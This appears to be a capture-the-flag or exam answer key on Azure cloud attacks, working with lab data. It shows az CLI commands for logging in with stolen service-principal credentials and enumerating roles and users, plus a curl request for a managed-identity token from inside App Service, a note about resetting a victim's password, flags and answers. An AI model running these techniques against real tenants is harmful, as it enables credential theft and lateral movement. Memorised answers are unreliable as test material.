Detailed Solution:
Use the app registration credentials recovered from blob storage.
az login --service-principal \
-u ' < client-id > ' \
-p ' < client-secret > ' \
--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Confirm that you are authenticated as a service principal:
az account show
Now enumerate role assignments for the app registration.
az role assignment list \
--assignee ' < client-id > ' \
--all \
--output table
If the --assignee lookup fails, first resolve the service principal object ID:
az ad sp show \
--id ' < client-id > ' \
--query id \
--output tsv
Then query role assignments by object ID:
SP_OBJECT_ID=$(az ad sp show --id ' < client-id > ' --query id -o tsv)
az role assignment list \
--assignee " $SP_OBJECT_ID " \
--all \
--output table
The assigned role is:
Key Vault Secrets User
This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.
Final answer:
A). Key Vault Secrets User

See the Answer in Explanation below.
Explanation:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list --output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list \
--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \
--output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
[email protected]
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.
Final answer:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

See the Answer in Explanation below.
Explanation:
b72a4c19-92f6-47f3-b3dd-9db5a31831d1
Detailed Solution:
Run:
az webapp identity show \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--output json
Expected output:
{
" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" type " : " SystemAssigned "
}
The principalId is the service principal object ID of the managed identity.
Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

Detailed Solution:
For Azure Resource Manager API calls, the token audience/resource must be:
https://management.azure.com/
Inside App Service Kudu/console, request the token:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
The response contains:
{
" access_token " : " < jwt-token > " ,
" resource " : " https://management.azure.com/ " ,
" token_type " : " Bearer "
}
Correct option:
B). https://management.azure.com/

Detailed Solution:
In Azure Storage SAS tokens, sp means signed permissions.
For blob/container access:
r = read
l = list
w = write
d = delete
c = create
a = add
Given:
sp=rl
The permissions are:
Read + List
Correct answer:
A). Read and List
SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.